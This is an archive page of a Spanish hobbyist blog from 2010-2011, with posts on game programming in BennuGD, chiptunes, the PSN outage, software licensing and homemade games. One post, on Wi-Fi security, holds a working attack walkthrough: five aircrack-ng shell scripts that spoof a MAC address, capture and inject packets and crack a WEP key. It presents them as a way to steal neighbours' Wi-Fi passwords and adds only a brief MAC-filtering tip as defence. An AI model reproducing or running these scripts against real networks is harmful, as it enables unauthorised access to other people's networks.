Mostrando entradas con la etiqueta Informática. Mostrar todas las entradas
Mostrando entradas con la etiqueta Informática. Mostrar todas las entradas

martes, 7 de junio de 2011

El manual de desobediencia a la ley Sinde (scargas)

El colectivo Hacktivistas presentó "el manual de desobediencia a la ley Sinde". Aquí encontrareis como se hacem neduabte cibsehis destbadis a ayudar a los internautas y a evitar las dictatoriales barreras de la censura gubernamental.





Estos consejos estan dirigidos tanto a los usuarios como a los webmasters. Razones para cambiar la configuracion DNS en distintos sistemas operativos, configuracion proxy ademas de donde alojar o registrar dominios.

Según explicó 'Charlie', uno de los miembros de Hacktivistas que participaron en la presentación, la conocida como Ley Sinde "va a ser una ley inútil". Sin embargo, también avisa que, a pesar de ello, tiene un "efecto perverso" como es "la censura". "El principal problema", explica, "es que crea un mecanismo que se salta a los jueces. Abre la puerta a que no haya una igualdad ante la ley".

El Manual de desobediencia a la Ley Sinde puede comprarse en la librería Traficantes de Sueños o descargarse de forma gratuita desde su página web.

Fuente: http://traficantes.net/index.php/editorial/catalogo/otras/Manual-de-desobediencia-a-la-Ley-Sinde

miércoles, 11 de mayo de 2011

BennuGD cambia de licencia

Años lleva BennuGD con la licencia GNU-GPL, heredada de su proyecto predecesor Proyecto Fénix. Sin embargo, en los últimos meses ha aparecido una problemática: se quiere hacer videojuegos para iOS, Android, GP2X, Wii, etc... y aunque los ports ya lo permiten en muchos casos, no siempre se puede hacer.

Hay plataformas, como los iPods/iPhones/iPads que requieren que el 100% de su software provenga de la Store oficial, siendo ilegal el uso de software que no provenga de ahi; y resulta que para poder publicar tu programa en la Store de Apple se requiere añadir unas medidas de seguridad anticopia que, debido a su carácter cerrado y privativo, son incompatibles con la licencia GNU-GPL. Ello nos impedía distribuir por la App Store el intérprete de Bennu, y un juego en Bennu sin intérprete, es como un juego en Java sin máquina virtual.

Por ello, los padres de BennuGD (Cebrián, Slainte y SplinterGU) con Josebita (uno de los administradores de la comunidad BennuGD.org) como mediador han decidido cambiar la licencia de BennuGD por una menos restrictiva. A partir de ahora, BennuGD lleva licencia Zlib.


Esta licencia se puede resumir en los siguientes puntos:
  • El producto se te da como está, no hay garantías de que funcione para lo que quieres.
  • No puedes decir que tú creaste BennuGD (salvo que seas SplinterGU, Slainte o Cebrián, entonces puedes decir que hiciste parte). Si usas este software se te agradecerá que pongas un "Hecho con BennuGD" en la documentación, pero no es necesario.
  • Si haces una versión derivada, debes anunciarla como tal, no se te permite decir que eso es BennuGD.
  • No puedes cambiar la licencia.

Este es el texto original de la licencia:
/* zlib.h -- interface of the 'zlib' general purpose compression library
version 1.2.2, October 3rd, 2004
Copyright (C) 1995-2004 Jean-loup Gailly and Mark Adler
This software is provided 'as-is', without any express or implied warranty.
In no event will the authors be held liable for any damages
arising from the use of this software.

Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:

1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be appreciated but is not required.

2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.

3. This notice may not be removed or altered from any source distribution.

Jean-loup Gailly jloup@gzip.org Mark Adler madler@alumni.caltech.edu */

Fuente: http://www.bennugd.org/node/139

lunes, 2 de mayo de 2011

Chiptunes, amor por lo retro

Hoy os voy a hablar de un tema que me apasiona y que no mucha gente conoce. Los chiptunes.

¿Qué es un chiptune?
Es música escrita en un formato de sonido donde todos los sonidos sean sintetizados en tiempo real por el chip de sonido de una videoconsola.

La "era de oro" de los chiptunes fue desde mediados de los 1980 hasta principio de los 1990, cuando estos chips eran el único modo de reproducir música en los ordenadores. Este medio dio una gran flexibilidad a los compositores para crear su propios sonidos de "instrumentos", pero como los primeros chips de sonido solo tenían generadores de tonos simples y ruido, también impuso importantes limitaciones ante la complejidad del sonido. Los chiptunes suelen parecer así "ásperos" o "chillones" al oyente corriente. Estos chiptunes están muy relacionados con la música de los videojuegos, compartiendo con estos cultura y origen.

Pero... ¿eso no es cosa del pasado?
Sí y no. Actualmente, apenas se emplea en los videojuegos; pero, aun así, el chiptune sigue teniendo público.
Enlace
En páginas como 8bc o chiptune.com puedes escuchar y descargar canciones pertenecientes a otros temas. Así mismo, por todo internet puedes encontrar tutoriales que te enseñan cómo empezar en este apasionante mundillo.

Y, ¿ya tiene esto alguna utilidad?
No sabría decirte. Yo empleo muchas de estas canciones en mis videojuegos. Además, empleo esos programas con los que hacen canciones chiptunes para hacer los efectos especiales de sonido de mis juegos (disparos, recogidas de objetos, etc...). Pero, aprender y divertirse me parece utilidad suficiente.

viernes, 29 de abril de 2011

PSN está off y nadie sabe por qué

Llevamos una semana sin PSN y, la verdad, las historias que se cuentan día a día son cada vez más impresionantes.

Sí, es cierto, a Sony le han robado la información de 77 millones de cuentas. Pero, decir que no hacen nada (como he leido en algún lugar) no sólo es exagerar, sino que es mentir.

Se va diciendo por ahí que el CFW Rebug es el causante. Por suerte, yo tuve la oportunidad de verlo instalado cuando nadie lo conocía y pude analizar su alcance.

Lo primero, este CFW inicia la consola en modo debug. Esto no significa que tenga permisos de administrador ni nada de eso. Lo que hace, simplemente, es sacar chillones y gritones de datos. En esos datos pueden salir desde variables de juegos, hasta strings de conexión (la verdad es que no miré a fondo esa parte).

Gracias a los datos que iban obteniendo de esa forma, fueron consiguiendo crear aplicaciones que permitiesen jugar a juegos piratas, enchufar periféricos no oficiales, etc...

Pero, podías cojer la ID de otro
Eso es cierto, pero no del todo. Rebug se conectaba a un PSN privado destinado a los betatesters y empresas desarrolladoras. Es por eso que podía descargarse las cosas gratis, etc. Lo de suplantar la ID, lo que hacía era algo tan sencillo, como cambiarse en RAM el nombre. Al parecer, en ese servidor privado se logueaba como él, pero luego se cambiaba la ID en la RAM, y cada vez que solicitaba trofeos y demás, PSN se hacía la picha un lio y se los daba.

Por tanto, era sólo apariencia. En realidad no podía entrar en las cuentas de los demás.

¿Quién ha sido entonces?
Pues mira, no lo sé. Y si lo supiese, sería una información por la que se me podría acusar de cómplice. Mi vida es demasiado triste como para pretender conocer a un genio así. Pero, os voy a dar mi opinión:

Por un lado, está el hecho de que Rebug es la consola en modo Debug. Crea unos logs enormes. Es como un agujero negro de datos, absorve todo lo que puede. En consecuencia, es posible que alguien si lo haya modificado y empleado para atacar Sony. Dudo mucho que el propio creador de este CFW sea consciente de lo bestia que puede llegar a ser su programa en malas manos.

Por otro lado, Microsoft sacó una jugosa oferta justo durante esos días que la gente empezó a no poder jugar:


"Microsoft celebra esta semana el Xbox de las Naciones, con ese motivo Xbox Live estará de forma gratuita para todos aquellos usuarios que tengan suscripción silver. Esta promoción estara vigente desde hoy jueves 21 de abril a las 10:00 hasta el martes 26 de abril a las 00:59."


No sé, amigos. Blanco y en botella...

martes, 19 de abril de 2011

Personaliza tu "Error 404"

Hoy os traigo un truquillo a todos aquellos que tenéis un servidor y no os gusta la página de error genérica. Todo consiste en cambiar el fichero ".htaccess".

Para hacer esto, sólo hay que poner este sencillo código en el fichero:

ErrorDocument 404 "página que queramos mostrar"


Esto redirije el usuario hacia donde le hemos dicho cada vez que sucede un error 404.

Nota importante:
Internet Explorer tiene una "funcionalidad" poco documentada que previene la utilización de cualquier página de error 404 personalizada que sea menor a 512 bytes de largo. Los visitantes son enviados, en cambio, a la página propia de IE, que es genérica y sugiere que utilizen una búsqueda en MSN para buscar la información en internet. Asegúrate que tu página personalizada esté por encima de este límite (algo así como 10 líneas completas de texto y HTML deberían ser suficientes).

domingo, 10 de abril de 2011

Bocasecaman inaugura blog

Esta semana la iniciamos con una noticia nueva, fresca y, simplemente, genial. Nuestro colaborador Bocasecaman, asíduo lector y escritor nuestro, inaugura blog. Realmente lleva ya unas semanitas con el blog. Poniendo alguna entradita y retocando el diseño, logrando cosas que yo nunca sería capaz de hacer. Pero, ¿qué clase de presentador que soy? No os he puesto ni la url: http://zombiesenmipuerta.blogspot.com/ El blog trata de informática en más de un 99%. No es que no sepa hablar de otra cosa. Pero... no va a hablar de otra cosa. El staff de este blog, y yo en su nombre, le mandamos nuestro apoyo incondicional; así como un agradecimiento por el jamón que nos va a enviar.

miércoles, 30 de marzo de 2011

Cosas que debes saber sobre el WIFI

Introducción
Como bien sabéis, podéis disponer en vuestras casas de conexión wifi. Muy útil para ganar movilidad en vuestra casa, sin tener que estar pegado a un cable de red para tener conexión con Internet.

Todo magia, luces y sonidos en el paradisíaco mundo del wifi hasta que te empiezan a contar que Fulanito se conecta a la red del vecino y tiene Internet. Y tu piensas ..... -"Pero eso le pasa por no tener clave para la conexión wifi"-. Es en ese momento cuando te dicen que ese usuario tenia wifi con contraseña, pero que se la han sacado.

Un escalofrió comienza a recorrer tu cuerpo y piensas. ¿Mi red es segura? ¿Estarán chupando de mi Wifi? ¿Es difícil chupar de la red Wifi de alguien? Con esta entrada para "frikis en apuros" tratare de acercaros esta realidad.

Wifi
Sobre el wifi, como ya sabéis, es un tipo de conexión inalámbrica basada en la norma IEEE 802.11 si no recuerdo mal. En general, el dispositivo al que os conectáis por este medio, en los entornos domésticos suele estar integrado en el router y al conectarnos a el formaremos parte de su red local. Esta seria la idea básica de su funcionamiento.

Una red wifi puede tener o no clave y para ello existe la encriptación del intercambio de datos basado en esa clave. Aquí los sistemas de encriptación que mas os vais a encontrar:
- WEP: Los cifrados de 64 y 128 bits. Pienso que es el tipo de clave mas fácil de hackear.
- WAP y WAP2: Las claves aquí no tienen limite de longitud lo que hace mas difícil su descifrado. El WAP2 es el WAP mejorado, aun mas seguro.

Ahora sabes como viaja la información y porque si no metes la clave no puedes conectarte a una red wifi. Y es que esa clave que metes para conectarte a la red wifi sirve para descifrar la información que intercambias de tu PC con el receptor de la conexión wifi.

Pero bueno, si esto es tan seguro ¿Como se han colado en mi red? ¿O como puedo yo probar la seguridad que tienen las redes wifi de mis vecinos? He intentado simplificar este apartado.

Robar claves en las redes Wifi
Si dispones de un sistema operativo Linux, en mi caso un Ubuntu versión 10.04 , tan solo tendrás que instalar las siguientes aplicaciones y yo te ayudare:

Nota: Si no dispones de un sistema Linux esto no te servirá de nada (también puede hacerse en windows de otra manera, pero no lo recomiendo).

Para realizar estos pasos es conveniente ser superusuario (root).
Primer paso: Instalar el aircrack-ng.

apt-get install aircrack-ng

Nota: Esto debería bastar, si te faltan aplicaciones que mas adelante se mencionaran coméntalo y editare la publicación.

Segundo paso: Hay una serie de comandos, pero he preferido simplificaros este paso y prepararos todo en 5 sencillos scripts:

1. Crea un directorio donde guardaremos los scripts, por ejemplo wifihack y otra llamada capturas dentro de esta para poder usarla posteriormente.

2. Creamos un fichero de texto y lo guardamos como "1_inicializar.sh". Este además de inicializarnos todo lo necesario, nos abrirá una ventana con todas las redes wifi a nuestro alcance, sus encriptaciones, los canales por las que se emiten (CH), sus direcciones MAC y sus bssid.

#Script 1
#Colocar la tarjeta de red para monitorear
airmon-ng start wlan0
#ApaÃño para no tener que reiniciar en el momento del hack
airmon-ng start start mon0
#damos de baja nuestro clone para falsear la dirección mac
ifconfig mon0 down
macchanger -m 00:11:22:33:44:55
ifconfig mon0 up
#Monitoreamos las redes inalámbricas cercanas
airodump-ng mon0

3. Con este otro script comenzaremos a capturar paquetes de esa red y a registrar toda la información en un fichero para su futura desencriptación ;). Le llamaremos "2_captura.sh"

#Script 2 - captura
clear
echo Introduce el canal de la red que se desea atacar
read canal
echo Introduce el nombre donde se guardaran las capturas de los paquetes
read archivo
echo Introduce la direccion MAC de la tarjeta atacada
read macatacada
echo $canal > ultcanal.txt
echo $archivo > ultarchivo.txt
echo $macatacada > ultmac.txt
airodump-ng -c $canal -w capturas/$archivo --bssid $macatacada mon0

4. Con este asociaremos nuestro equipo con el que deseamos atacar. Le llamaremos "3_asociar.sh".

#Script 3 - asociar
#Crear una asociacion entre nuestro PC y el modem atacado
clear
echo Introduce el nombre de la red a la que desea atacar.
read nombrered
macatacada=`cat ultmac.txt`
read macatacada
aireplay-ng -1 0 -e $nombrered -a $macatacada -h 00:11:22:33:44:55 mon0

5. Con este nosotros comenzaremos a inyectar paquetes, de esta manera capturaremos muchos mas paquetes y tardaremos menos en sacarle los paquetes necesarios para descifrar la clave. Le llamaremos "4_inyeccion.sh".

#Script 4 - Inyeccion de paquetes
mac=`cat ultmac.txt`
aireplay-ng -3 -b $mac -h 00:11:22:33:44:55 mon0


6. Finalmente, el fruto de nuestro trabajo, una vez que veas que has capturado 5000 paquetes realiza la primera pruena con este script. Si aun no tienes informacion suficiente para descifrar la clave espera 5000 paquetes mas y vuelve a intentarlo, calcula cuanto te falta para tenerla por completo. Este solo sirve para WEP, para WAP necesitarías usar diccionarios, pero todo es documentarse. Llamemosle "5_desencriptar.sh".

#Script 5 - descifrar
#Descifrar el paquete
nombref=`cat ultarchivo.txt`
aircrack-ng capturas/$nombref-01.cap

o sino, mejor en este caso escribir en la linea de comandos.

aircrack-ng capturas/NOMBRE(tabular para obtener más información y escoger un archivo de extensión cap)

# aircrack-ng (nombre del archivo .cap)*.cap -z Es más rápido pero requiere
más paquetes capturados.
# aircrack-ng (nombre del archivo .cap)*.cap -y Para utilizar fuerza bruta
# aircrack-ng (combre del archivo .cap)*.cap -n 64 Para especificar la longitud de
la clave WEP en bits: 64 para 40-bit WEP; 128 para 104-bit WEP, etc. El valor por
defecto es 128 y en 2wire 64 bits.




Las dos maneras sirven, la que os sea más cómoda.

Una vez creados todos los ficheros, se les asigna permisos de ejecución (chmod) o sino mediante propiedades y los ejecutamos como super usuario en el orden correcto (basandote en el orden numerico de los nombres), cada uno en una terminal diferente y vamos rellenando lo que se nos pide.

Conclusiones
Una vez visto con la facilidad con al que un usuario medio o experto en informática puede descifrar una clave wifi y conectarse a esta pensaras que estas solo ante el peligro y la de FUUUUUUUUUUs que vas a estar deseando de soltar.

Solución para conexiones no deseadas

Como he dicho puede que te sientas solo ante el peligro, pero esto tiene solución. Si en tu red domestica se conectan siempre los mismos equipos generalmente, solo tienes que hacer una lista de sus direcciones MAC e introducirlas en la configuración wifi del router, como únicas MACs con las que se podrán acceder. Es tan solo una solución que a mi parecer es muy sencilla, pero no tiene porque ser la única.

Espero que ahora veas las redes wifi de otra manera ;)

miércoles, 16 de marzo de 2011

Tutorial BennuGD "for dummies"

Lección 1º: Pulsadores
Imaginemos una bombilla conectada a un pulsador del timbre de nuestra casa. Para que se encendiese habría que pulsar; pero, al soltar, se apagaria.

begin
set_mode(320,240,32,MODE_WINDOW);
load_fpg("images/graficos.fpg");
luz();
end


process luz()
begin
x = 160;
y = 120;
graph = 1;
loop
if (key(_p))
graph = 2;
else
graph = 1;
end
if (key(_esc))
exit();
end
frame;
end
end

Analicemos:
Después de toda la parafernalia pertinente a la declaracion de proceso y etceteras vendría (en este caso) un loop, seguido de la comprobacion de pulsar una tecla; en este caso, la tecla 'p'.

if (key(_p))

Ahora llega la ejecución:

graph = 2; //Cambiamos de grafico para mostrar la bombilla encendida

Si no:

else
graph = 1; //El grafico es el de la bombilla apagada
end


Este ejemplo se puede aplicar, principalmente, a movimientos del protagonista de nuestro juego (arriba, abajo, izda. y dcha.); para que, cuando dejemos de pulsar, se pare.

Descárgate el ejemplo aquí.
Fuente: http://forum.bennugd.org/index.php?topic=2133.msg38296#msg38296
Autor: Futublock

martes, 15 de marzo de 2011

Concurso de remakes Div-like

Un internauta llamado FreeYourMind ha publicado las bases de un concurso de videojuegos Div-like. Es una oportunidad única para participar en un concurso de sencilla temática y premios sabrosos.

Las bases en: http://gecasoft.no.sapo.pt/

Extracto de las bases:
Concurso de programación 'Thunder Hoop Remake'

Bienvenido al concurso que intentará hacer las delicias de los amantes del legendario arcade de Gaelco 'Thunder Hoop'.

Si tu pasión son los juegos retro, te encantan los remakes y la programación de juegos, tienes la oportunidad de conseguir una portatil open source 'Caanoo'.

Para ello sólo te tienes que divertir haciendo tu remake de 'Thunder Hoop' y encima poder ganar una consola por el esfuerzo.

Bases del Concurso:

1 - Lenguaje y Herramientas:
- Tiene que ser programado en un DIV-LIKE a elegir entre los siguientes:
a) BennuGD (http://www.bennugd.org/)
b) Fenix (http://fenix.divsite.net/)
c) Gemix (http://gemixstudio.com/)
- Se puede hacer para cualquier plataforma (consola o SO) que soporte el lenguaje.
- Se pueden utilizar modulos externos y proprietarios si el lenguaje lo permite.
- Se puede utilizar cualquier tipo de herramienta o tool auxiliar a la misma, necesarias para la creación de gráficos, modelos, sonidos, etc.
2 - Tipo de juego:
El objetivo es tener como minímo un remake de 'Thunder Hoop', pero por si algun motivo prefieres hacer el remake de otro clasico, tambien podras hacerlo y concursar de igual forma.

Sólo se aceptarán Remakes de los siguientes juegos (versión Arcade):
Genéro Plataformas/Disparos (Horizontal):
- Thunder Hoop (http://www.arcadiabay.de/images/games/thunder_hoop.jpg)
- Toki (http://www.gameclassification.com/files/games/Toki.png)
- Shadow Dancer (http://www.nostalgia80.com/wp-content/uploads/2010/09/sd2.jpg)
- Ken-Go (Lightning Sword) (http://arcade.svatopluk.com/irem/ken-go/ken-go_04.png)
Genéro Shooter (Horizontal):
- Aero Blaster (http://www.gameclassification.com/files/games/Air_Buster_Arcade.png)
- Thunder Cross II (http://www.sega-16.com/Features/Lost%20in%20the%20Arcade/Thunder_Cross_II.png)
- Thunder Blade (http://www.hardcoregaming101.net/thunderblade/thunderblade-2.png)
- Insector X (http://www.arcade-museum.com/images/118/118124212330.png)
Los shooter deberan respetar la dirección del scroll horizontal del original (o el efecto modo 7 en el caso de Thunder Blade).

Si se elige 'Insector X' se tendrá en cuenta que es un remake más sencillo de hacer, con lo cual se tendrá en cuenta que tendrá de ser un Remake un poco mas trabajado o cercano en contenidos al original.

NOTA sobre los remakes:

Se puede optar por 2 caminos, el programador elige el que quiera:
1 - Hacer un remake lo mas fiel posible al original. Se valorara el grado de aproximación obtenido en todos sus apartados.

2 - Hacer un juego baseado en el original, con detalles o fases nuevas como si fuera una continuación o una version especial del mismo (por ejemplo si comparamos una fase de Sonic 2 con una de Sonic 1, este tiene fases nuevas o movimientos nuevos, pero si lo miras a la primera podrias decir que eran el mismo juego pero una fase distinta).

Puedes optar por este camino, si quieres mantener el espirito del original pero aportando detalhes nuevos y originales, o sea, si prefieres hacer un remake 'a tu manera'.
3 - Condiciones:

Cada participante puede presentar tantos juegos/generos como quiera.

Pueden basearse o utilizar parte de código fuente ya publicado en otros juegos, si este sirve de ayuda para la creación del mismo. Eso si, el juego tendrá que demostrar que no se basa en una simple adaptación con gráficos nuevos de algo existente, o sea, tendrá que quedar fiel al juego elegido para Remake (demontrar que hay trabajo en el).

Los juegos no podrán ser publicados hasta que el concurso haya finalizado, lo unico que se permite es poder enseñarse alguna captura del mismo en algun foro de avances o ayuda. Si un juego es publicado antes, será descalificado inmediatamente.

Los juegos de menos de 10 MB podrán enviarse por e-mail a geca_portugal@yahoo.com.
Para los juegos de más de 10 MB, deberá proporcionarse un enlace de descarga del mismo en el email.

Junto con el juego se deben incluir todos los recursos utilizados por el mismo así como todo el código fuente, scripts de configuración y compilación, etc. O sea, todo lo necesario para la compilación y correcto funcionamiento del mismo.

Si utiliza algun modulo externo o dependencia que se haya programada exclusivamente para el mismo, este tambien deberá venir con su código fuente en el lenguaje que haya sido creado.
El código fuente no será evaluado, sólo será tenido en cuenta para comprobar que ha existido un minimo de esfuerzo al crear el remake, y que este no es un mero copy/paste de otros códigos.
En ningun caso el código será distruibuido a terceros salvo qu el autor lo declaré open source o así lo entienda.

El autor tendrá todos los derechos de su obra, podrá despúes distribuirlo bajo la licencia que entienda (open source, código cerrado, o lo que sea).

También se debe incluir un archivo "info.txt" con la siguiente información:
- Nombre del trabajo presentado.
- Descripción del juego y breve manual de uso.
- Nick / Nombre del programador.
- Dependencias o permisos de terceros (si existe algo utilizado bajo el consentimiento de terceras pesonas).
- E-mail de contacto.


Se evaluarán las siguientes categorias:

- Fidelidad y/o inovacíon en relación al original segun el tipo de remake.
(Sobretodo se evaluará la sensación que transmite comparado con el original)

- Jugabilidad/adición

- Rendimiento/robustez en su ejecución

- Gráficos/Animaciones (calidad de ripeo/animaciones o calidad de los gráficos originales/adaptados)

- Musica/Sonidos FX (calidad de ripeo o calidad del sonido original/adaptado)

(Leer más)

lunes, 14 de marzo de 2011

La historia de BennuGD

En la década de los 90 el entonces estudiante Daniel Navarro Medrano creó como proyecto final de carrera una herramienta orientada a la creación de videojuegos de 32 bits bajo MS-DOS. El nuevo lenguaje, de nombre DIV Games Studio, combinaba características de C y Pascal con un entorno completo que permitía la creación y edición de todos los aspectos de los proyectos: programación, edición gráfica y sonora y un largo etc.

Fénix, inicialmente bajo el nombre DIVC y de naturaleza GNU y gratuita, apareció de la mano de Jose Luis Cebrián como una herramienta capaz de compilar y ejecutar esos juegos en GNU/Linux. El nombre fue cambiado en la versión 0.6 del compilador, que además introducía otras mejoras, como la aparición de un fichero intermedio entre el entorno de compilación y el entorno de ejecución. Ya no era necesario distribuir el código fuente de un juego para poder jugar a los juegos. La ventaja principal de esa práctica (similar en concepto a Java) era clara, compilar en una plataforma y ejecutar en muchas. En la versión 0.71 el proyecto quedó parado, lo que dio lugar a múltiples versiones derivadas que corregían fallos o añadían nuevas características.

La versión oficial de Fénix fue retomada por Slàinte en el año 2002, viejo conocido de la comunidad DIV por ser el webmaster de una de las páginas web más importantes para la comunidad, quien continuó el proyecto bajo el nombre de “Fénix-Proyecto 1.0” al que pronto se reincorporaría su creador y cuyo primer objetivo era limpiar el compilador de errores y estabilizarlo. Desde entonces el compilador ha sufrido numerosos cambios y mejoras, dejando
de un lado la compatibilidad con el lenguaje DIV, el desarrollo del cual quedó paralizado hace tiempo en su versión 2 desde la quiebra de la empresa que lo comercializaba, Hammer Technologies. (De hecho, DIV2 sólo es compatible con Ms-Dos y Windows 95/98).

Tras un periodo de relativa inactividad en donde Fénix se había estancado en su versión 0.84/0.84a, a mediados del 2006, Juan (a.k.a. "SplinterGU") retomó con fuerza el desarrollo de nuevas versiones del compilador/intérprete, incorporándole muchas mejoras en rendimiento y velocidad, añadiendo funciones nuevas y corrigiendo bugs crónicos, y modularizando por completo todo el entorno (una demanda mucho tiempo reclamada), hasta llegar a la versión 0.92a.

No obstante, ciertas desaveniencias con determinados miembros de la comunidad hicieron que Juan se decidiera por abandonar el desarrollo oficial de Fénix y crear un fork (una variante independiente) a partir del código de Fénix llamado Bennu. Bennu es el nombre de un dios egipcio, cuya apariencia física es la de una garza real llevando sobre la cabeza la corona del Alto Egipto. Este dios es el de la regeneración (cómo Fénix), debido al carácter de ave migratoria que reaparece, que renace, que se renueva periódicamente.

A partir de 2007, poco a poco se ha ido construyendo una nueva comunidad alrededor de este nuevo lenguaje renacido. Hoy en día el foro de Bennu (http://forum.bennugd.org) es un lugar muy activo lleno de gente que intercambia información, trucos y experiencias sobre este lenguaje y que están encantados de echar una mano. Además, la comunidad ofrece muchos otros recursos para el programador: desde a la documentación online del lenguaje, en forma de wiki (http://wiki.bennugd.org) -donde se pretende recoger la descripción de todas las funciones, variables, características sintácticas y entresijos del lenguaje- hasta diferentes proyectos, librerías y aplicaciones software que facilitan mucho el día a día a la hora de programar.

lunes, 15 de noviembre de 2010

Marcianitos multijugador.

Después de largos meses de espera... ¡¡llego con una nueva versión de mi marcianitos!!
Esta versión, tiene una cosa diferente a cualquier otra y es que...

¡¡Es multijugador!!
Es un multijugador cooperativo, en el que hay dos naves que tienen que matar al máximo posible de naves.

http://pensarescompartir.com/marcianitos_multi.rar

Contenido del archivo:
El juego.
Manual de instrucciones.
Una carpeta con las cinco canciones del juego.
El intérprete y compilador del juego.


Manual de instrucciones:
CONTROLES:
Jugador 1:
W: La nave se desplaza hacia arriba.
S: La nabe se desplaza abajo.
A: La nave se desplaza a la izquierda.
D: La nave se desplaza a la derecha.

G: La nave dispara.

Jugador 2:
Flecha arriba: La nave se desplaza hacia arriba.
Flecha abajo: La nabe se desplaza abajo.
Flecha izquierda: La nave se desplaza a la izquierda.
Flecha derecha: La nave se desplaza a la derecha.

L: La nave dispara.

Otros controles:
P: Pause.

Esc: Se sale del juego.

INSTRUCCIONES:
La misión del juego es acumular puntos hasta que las dos naves sean destruídas. Las naves pierden
vida a medida que colisionan contra las naves enemigas. Cuanto más grande sea la nave enemiga, más vida pierde.

Las armas se pueden mejorar recogiendo (ya sea disparandoles o colisionando con ellos) los paquetes de colores
que caen. Si una nave colisiona con una nave enemiga, pierde el arma. Si recoge un paquete, cambia a ese arma,
ya sea mejor o peor.

El orden de los paquetes por color es el siguiente:
Rojo.
Morado.
Amarillo.
Azul.

jueves, 5 de agosto de 2010

Picaladrillos

Bueno, hoy os presento el Picaladrillos. Es el típico Arcanoir de toda la vida pero echo por mi.

http://pensarescompartir.com/lahsoft/lahsoftcorp/?direc=fenix/&id=2010-08-05_Picaladrillos.rar

Instrucciones de uso:
Lo descomprimís todo en la misma carpeta. Y le dais a "ejecutar.bat".

Controles:
--> : Mueve la pala a la derecha.
<-- : Mueve la para a la izquierda. Ctrl: Crea una nueva bola.
Crear una nueva bola cuesta 1 punto.
Romper un ladrillo da 2 puntos (creo recordar).

Para cerrar del juego hay dos formas:
  • Acabar con todos los ladrillos.
  • Alt + tabulador, y cuando cambie de pantalla, cerrar la consola que veais.
Aunque en ese ".rar" viene el código os lo pongo aquí. Siento que no esté tabulado, pero esque es mucho código como para ponerme a hacer ñoñerías. Buscaré un sistema mejor para subirlo:

import "mod_map";
import "mod_key";
import "mod_text";
import "mod_grproc";
import "mod_proc";
import "mod_math";
import "mod_screen";
import "mod_video";
import "mod_rand";

global
int blocksleft;//Contará la cantidad de ladrillos que hay aún
int aux=4;
int punt=0;
end

process main()
private
int i,j;//Variables para los bucles
int tes;
int aux2=1;
end
begin
set_mode(640,480,32, mode_fullscreen);
load_fpg("breakout.fpg");
paddle(320,460); //Raqueta

/*Los dos for siguientes sirven para dibujar en pantalla los ladrillos que tendremos que
destruir. La estructura es sencilla: el primer bucle sirve para darle 10 posiciones
horizontales diferentes a los ladrillos, y el segundo sirve para dar 3 posiciones
verticales. Así que cada vez que lleguemos a la llamada al proceso block, dibujaremos un
ladrillo en una de las 10 posiciones horizontales posibles y en una de las 3 posiciones
verticales posibles, con lo que al final tendremos 30 ladrillos distribuidos en 3 filas y
10 columnas*/
for(i=0;i<20;i++)
for(j=0;j<5;j++)

//Como creamos un ladrillo,tenemos que añadirlo al contador
blocksleft++;

/*Dibujamos el ladrillo propiamente dicho.Los números están para ajustar la posición a
las medidas de la pantalla.Recuerda que para que cuadre el gráfico del ladrillo ha de
tener unas dimensiones de 28x138*/
block(i*32+16,j*16+8);
end
end
write(0,180,230,5,"Ladrillos que faltan: ");
write_var(0,180,230,3,blocksleft);
write(0,180,430,5,"Tu puntuación: ");
write_var(0,180,430,3,punt);
tes=write(0,180,245,5,"Pulse CTRL para empezar");
loop

//Puedes crear una bola cuando quieras
if(key(_control))
if(aux2==1)
delete_text(tes);
aux2=0;
end

//Esperar hasta que la tecla se suelte
while(key(_control))
frame;
end
aux+=1;
if (aux==8)
aux=4;
end
ball(320,180,aux);
punt-=1;
end

if(blocksleft==0)//Fin de la partida
delete_text(0);
write(0,420,235,5,"¡Has ganado! (Pulsa ENTER para salir)");
while(not key(_enter))
aux+=1;
if (aux==8)
aux=4;
end
ball(rand(20,620),rand(240,460),aux);
frame;
end
exit();
end
frame;
end
end

process block(x,y)
begin;
graph=2;
loop
frame;
end
end

process paddle(x,y)
begin
graph=3;
loop
if(key(_left))x=x-25;end
if(key(_right))x=x+25;end
if(x<15)x=15;end
if(x>625)x=625;end
frame;
end
end

process ball(x,y,int grap)
private
int vx=0;//Su velocidad inicial (cambiará) en la dirección X e Y
int vy=5;
int paddle;
int block;
int ball;
end
begin
vx+= rand(-10,10);
graph=grap;
loop

//Para no tener que escribir tanto después en los ifs
paddle=COLLISION(type paddle);
block=COLLISION(type block); //Lo mismo
ball=collision(type ball);

//Si la bola choca contra un ladrillo
if(block!=0)

//Comprobamos que hemos chocado contra la parte inferior o superior de un ladrillo...
if(abs(block.y-y+vy)>8)
vy=-vy;//...e invertimos la velocidad vertical
end

//Comprobamos que hemos chocado contra la parte izquierda o derecha de un ladrillo...
if(abs(block.x-x+vx)>16)
vx=-vx;//...e invertimos la velocidad horizontal
end

/*La bola no nesariamente choca sólo contra un ladrillo a la vez, sobretodo cuando incide
de forma horizontal sobre ladrillos superpuestos, donde choca con todos ellos a la vez.*/
while(block!=0)
blocksleft--;
signal(block,s_kill);
punt+=2;

/*Vemos si hay otro ladrillo con el que haya colisionado.(Recordad que cada vez que se
llama a "collision", se da el siguiente item con el que se ha colisionado, hasta que se
haga un frame, momento en el que se "resetea" la lista de objetos colisionantes y se
empieza otra vez*/
block=COLLISION(type block);
end
end
//Si la bola choca contra la raqueta...
if(paddle!=0)
vy=-vy;//...invertimos la velocidad vertical...

/*...y alteramos la velocidad horizontal dependiendo de en qué punto de la raqueta se
haya colisionado..*/
vx=vx+(x-paddle.x)/2;
end

if(ball!=0)//Si choca contra otra bola
vx=-(vx+10);
vy=-(vy+10);
END

//Si la bola choca contra los límites de la pantalla (excepto el inferior)
if(x<=2 or x>=638)vx=-vx;end
if(y<=2)vy=-vy;end //Limitamos la velocidad horizontal un poco (para que no se embale mucho)... if(vx>20)vx=20;end
x=x+vx;//y la bola se mueve
y=y+vy;
if(y>480 or y<0)return;end //Si perdemos la bola, matamos el proceso
frame;
end
end

miércoles, 4 de agosto de 2010

Programando en Bennu/Fénix

Bueno, hace ya unos dias os comenté que había empezado a programar en Fénix. La verdad es que no avanzaba nada, porque la mitad de los códigos de ejemplo que había encontrado no funcionaban correctamente.

La cosa es que hace dos días, buscando un creador de archivos ".fpg" encontré lo que decía ser una suite de programas para programar en Fénix. Enorme fué mi emoción cuando descubrí todo lo que llevaba:
